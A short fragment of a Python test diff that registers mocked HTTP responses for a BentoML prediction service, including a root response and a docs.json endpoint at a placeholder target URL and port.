(_TARGET_URL, _TARGET_PORT), + content="BentoML Prediction Service".encode('utf-8'), + status_code=200, + ) mock.register_uri( 'GET', 'http://%s:%s/docs.json' % (_TARGET_URL, _TARGET_PORT),